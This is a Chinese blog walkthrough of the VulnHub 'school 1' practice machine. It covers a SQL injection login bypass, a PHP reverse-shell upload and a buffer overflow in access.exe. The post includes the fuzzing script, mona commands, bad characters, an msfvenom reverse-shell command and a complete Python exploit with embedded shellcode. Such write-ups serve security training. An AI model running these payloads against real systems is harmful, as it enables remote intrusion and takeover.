当前位置:网站首页>vulnhub之school 1
vulnhub之school 1
2022-07-07 17:53:00 【梅_花_七】
目录
6.msf-pattern_create生成2000不同字符
一、存活主机探测

二、服务版本扫描
22,80依旧是常规端口。而23端口则是tcpwrapped,但是呢一般情况下23都是telnet
百度:
NMAP执行结果中,端口状态后经常标记tcpwrapped。tcpwrapped表示服务器运行TCP_Wrappers服务。TCP_Wrappers是一种应用级防火墙。它可以根据预设,对SSH、Telnet、FTP服务的请求进行拦截,判断是否符合预设要求。如果符合,就会转发给对应的服务进程;否则,会中断连接请求。


三、信息收集
针对一个登录框,
1.获取账号密码(爆破,通过源码泄露,弱口令来尝试)
2.尝试注入

永为真注入成功
其实这里不加最后的-也可以,但是空格必须要加,要和后边比对密码拼接上,这样才能注入成功
ss ' or 1=1 -- -
四、后台信息收集
1.反射型的xss
这几个页面都存在xss,但是吧,对我们突破边界没有什么用

上个框框里也有。

2.源码
特别注意javascript和注释里面的内容。这里有个隐藏路径,还有一个上传文件的保存文件夹。

五、文件上传
这里隐藏目录下存在一个文件上传的地方。

1.上传php反弹shell文件

2.再次访问这个页面的就触发了


六、wine
wine:简单来说就是可以在linux上来运行windous的程序。

win的内容:
执行了access.exe文件。
我们把他搞到windous上来调试一下,看看有无漏洞。

七、调试access.exe文件
1.调试工具ImmunityDebugger
自己找官网下载即可
2.下载mona脚本
github上有,下载后放到放到这里。

3.启动进程
提示了有漏洞。


4.写python脚本
主要是看这个程序是否存在缓冲区溢出的漏洞,如果存在缓冲区溢出,那么溢出的位置又在哪里。
#!/usr/bin/python2
import sys,socket
payload='A'*2000
try:
s=socket.socket()
s.connect(('192.168.0.',23))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()5.程序宕机
这也证明了存在缓冲区溢出漏洞。

6.msf-pattern_create生成2000不同字符
msf-pattern_create -l 2000

7.查找位置
8.EIP->ESP
EIP中放入跳入ESP寄存器的地址,ESP寄存器我们放入攻击payload。找到jump ESP的地址
(1)mona查看模块
!mona modules

(2)搜索jump ESP
!mona find -s "\xff\xe4" -m "funcs_access.dll"
Address=625012D0

9.测定坏字符
坏字符会导致我们代码执行的失败,测出来是这几个。
\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f
10.生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.109 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f c EXITFUNC=thread
11.python的exp
#! /usr/bin/python2
import sys
import socket
try:
shellcode=("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xce\x93\x58\xfd\x83\xee\xfc\xe2\xf4\x32\x7b\xda\xfd\xce\x93"
"\x38\x74\x2b\xa2\x98\x99\x45\xc3\x68\x76\x9c\x9f\xd3\xaf\xda"
"\x18\x2a\xd5\xc1\x24\x12\xdb\xff\x6c\xf4\xc1\xaf\xef\x5a\xd1"
"\xee\x52\x97\xf0\xcf\x54\xba\x0f\x9c\xc4\xd3\xaf\xde\x18\x12"
"\xc1\x45\xdf\x49\x85\x2d\xdb\x59\x2c\x9f\x18\x01\xdd\xcf\x40"
"\xd3\xb4\xd6\x70\x62\xb4\x45\xa7\xd3\xfc\x18\xa2\xa7\x51\x0f"
"\x5c\x55\xfc\x09\xab\xb8\x88\x38\x90\x25\x05\xf5\xee\x7c\x88"
"\x2a\xcb\xd3\xa5\xea\x92\x8b\x9b\x45\x9f\x13\x76\x96\x8f\x59"
"\x2e\x45\x97\xd3\xfc\x1e\x1a\x1c\xd9\xea\xc8\x03\x9c\x97\xc9"
"\x09\x02\x2e\xcc\x07\xa7\x45\x81\xb3\x70\x93\xfb\x6b\xcf\xce"
"\x93\x30\x8a\xbd\xa1\x07\xa9\xa6\xdf\x2f\xdb\xc9\x6c\x8d\x45"
"\x5e\x92\x58\xfd\xe7\x57\x0c\xad\xa6\xba\xd8\x96\xce\x6c\x8d"
"\xad\x9e\xc3\x08\xbd\x9e\xd3\x08\x95\x24\x9c\x87\x1d\x31\x46"
"\xcf\x97\xcb\xfb\x98\x55\xce\xff\x30\xff\xce\x82\x04\x74\x28"
"\xf9\x48\xab\x99\xfb\xc1\x58\xba\xf2\xa7\x28\x4b\x53\x2c\xf1"
"\x31\xdd\x50\x88\x22\xfb\xa8\x48\x6c\xc5\xa7\x28\xa6\xf0\x35" "\x99\xce\x1a\xbb\xaa\x99\xc4\x69\x0b\xa4\x81\x01\xab\x2c\x6e"
"\x3e\x3a\x8a\xb7\x64\xfc\xcf\x1e\x1c\xd9\xde\x55\x58\xb9\x9a"
"\xc3\x0e\xab\x98\xd5\x0e\xb3\x98\xc5\x0b\xab\xa6\xea\x94\xc2"
"\x48\x6c\x8d\x74\x2e\xdd\x0e\xbb\x31\xa3\x30\xf5\x49\x8e\x38"
"\x02\x1b\x28\xb8\xe0\xe4\x99\x30\x5b\x5b\x2e\xc5\x02\x1b\xaf"
"\x5e\x81\xc4\x13\xa3\x1d\xbb\x96\xe3\xba\xdd\xe1\x37\x97\xce"
"\xc0\xa7\x28")
payload="A"*1902 + "\xdd\x12\x50\x62" + "\x90"*32 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",23))
s.send(payload)
s.close()
print('done')
except:
print('error')八、提权成功
这里Z:/表示win部署的根路径下,这里有我们要找到的第二个flag,未提权时不能查看,
现在可以查看证明提权成功。

边栏推荐
- mock. JS returns an array from the optional data in the object array
- Ucloud is a basic cloud computing service provider
- 指定opencv非标准安装的版本
- [Verilog advanced challenge of Niuke network question brushing series] ~ multi bit MUX synchronizer
- 位运算介绍
- 爬虫实战(七):爬王者英雄图片
- “本真”是什么意思
- 【RT-Thread env 工具安装】
- What does "true" mean
- what‘s the meaning of inference
猜你喜欢

谷歌seo外链Backlinks研究工具推荐

PMP对工作有益吗?怎么选择靠谱平台让备考更省心省力!!!

AD域组策略管理

mock. JS returns an array from the optional data in the object array

Cloud 组件发展升级

The project manager's "eight interview questions" is equal to a meeting

Flink并行度和Slot详解

Is PMP beneficial to work? How to choose a reliable platform to make it easier to prepare for the exam!!!

Install mysql8 for Linux X ultra detailed graphic tutorial

微信公众号OAuth2.0授权登录并显示用户信息
随机推荐
Netease Yunxin participated in the preparation of the standard "real time audio and video service (RTC) basic capability requirements and evaluation methods" issued by the Chinese Academy of Communica
一锅乱炖,npm、yarn cnpm常用命令合集
吞吐量Throughout
[RT thread env tool installation]
IP 工具类
Automatic classification of defective photovoltaic module cells in electroluminescence images-論文閱讀筆記
JVM GC垃圾回收简述
mock. JS returns an array from the optional data in the object array
[sword finger offer] sword finger offer II 012 The sum of left and right subarrays is equal
时间工具类
Ucloud is a basic cloud computing service provider
R language ggplot2 visualization: use the ggecdf function of ggpubr package to visualize the grouping experience cumulative density distribution function curve, and the linetype parameter to specify t
指定opencv非标准安装的版本
R language dplyr package select function, group_ The by function, filter function and do function obtain the third largest value of a specific numerical data column in a specified level in a specified
PMP对工作有益吗?怎么选择靠谱平台让备考更省心省力!!!
The DBSCAN function of FPC package of R language performs density clustering analysis on data, checks the clustering labels of all samples, and the table function calculates the two-dimensional contin
how to prove compiler‘s correctness
Boot 和 Cloud 的版本选型
最多可以参加的会议数目[贪心 + 优先队列]
Flink并行度和Slot详解